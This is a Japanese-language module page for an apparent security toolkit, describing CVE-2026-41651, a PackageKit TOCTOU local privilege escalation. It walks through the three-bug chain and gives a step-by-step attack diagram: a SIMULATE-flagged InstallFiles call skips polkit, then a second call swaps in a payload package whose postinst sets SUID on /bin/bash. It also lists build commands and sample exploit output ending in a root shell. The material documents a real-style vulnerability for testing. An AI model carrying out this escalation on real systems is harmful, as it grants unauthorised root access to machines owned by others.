🛡️ AIセキュリティツールモジュール
CVE-2026-41651: PackageKit TOCTOU ローカル権限昇格 (Pack2TheRoot)
AIセキュリティツールエコシステム向け公式セキュリティ監査・エクスプロイトモジュール
🌐 Webデモ • 📚 プロジェクトサイト • 💬 コミュニティチャット
サイトナビゲーション: ホーム • アップデート • ダウンロード • モジュール
本モジュールは、PackageKitのトランザクションハンドラ(packagekitd)に存在する重大なTime-of-Check to Time-of-Use(TOCTOU)競合状態であるCVE-2026-41651(Pack2TheRoot)に対する診断ツールと詳細な技術分析を提供します。
この脆弱性により、ローカルの非特権ユーザーであれば誰でも認証チェックを回避し、認証を必要とせずにroot権限で任意のパッケージをインストールすることが可能になります。
| 仕様 | 割り当て値 | 備考 |
|---|---|---|
| CVE識別子 | CVE-2026-41651 |
PackageKit TOCTOU ローカル権限昇格 |
| コンポーネント | PackageKit デーモン (packagekitd) |
コアトランザクションハンドラ |
| 影響を受けるバージョン | 1.0.2 – 1.3.4 |
未パッチのデーモンリリース |
| 修正済みバージョン | 1.3.5 |
トランザクションハンドラに状態ガードを追加 |
| 影響とベクター | ローカル権限昇格 → root | 認証やユーザー操作は不要 |
| テスト済みプラットフォーム | Ubuntu 24.04、Debian 12 | 標準的なシステム構成 |

src/pk-transaction.c 内の3つの異なるバグが連鎖し、認可と実行の間にTOCTOUウィンドウを生み出します:
InstallFiles() は状態チェックなしで cached_transaction_flags と cached_full_paths を無条件に上書きします。pk_transaction_set_state() はフラグが上書きされたまま、後方への状態遷移を暗黙的に破棄します。pk_transaction_run() は認可時ではなく、GLibアイドルからのディスパッチ時にキャッシュされたフラグを読み取ります。PK_TRANSACTION_FLAG_SIMULATE(ビット2、値 0x4)を設定すると、polkitチェックが完全にスキップされます。攻撃者 packagekitd
│ │
│ CreateTransaction() │
│─────────────────────────────────►│ state = NEW
│◄─────────────────────────────────│
│ │
│ InstallFiles(SIMULATE, dummy) │
│─────────────────────────────────►│ SIMULATE → polkit スキップ
│◄─────────────────────────────────│ state = READY
│ │ g_idle_add(run_idle_cb) ← キュー登録
│ │
│ InstallFiles(NONE, payload) │ [バグ 1] フラグ + パスが上書きされる
│─────────────────────────────────►│ [バグ 2] set_state(WAITING_FOR_AUTH)
│◄─────────────────────────────────│ → 暗黙的に拒否される
│ │ state は READY のまま
│ │
│ │ [idle 発火]
│ │ pk_transaction_run()
│ │ [バグ 3] NONE + payload を読み取る
│ │ → dpkg が payload を root でインストール
│ │ → postinst: chmod +s /bin/bash
│ │
│ execv("/tmp/.suid_bash -p") │
│─────────────────────────────────►│
│ euid=0(root) │
両方の InstallFiles 呼び出しは、クライアントのメインループが反復する前に、fire-and-forget の非同期 D-Bus 呼び出しとして送信されます。Polkitd は最終的に 2 回目の呼び出しに対して NOT_AUTHORIZED を返しますが、その時点で APT はすでにインストールをディスパッチしています。
sudo apt install libglib2.0-dev make
その他の依存関係はありません — .deb パッケージは実行時に純粋な C でビルドされます。
出力例:
═══════════════════════════════════════════════════
CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max tabular)...
[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)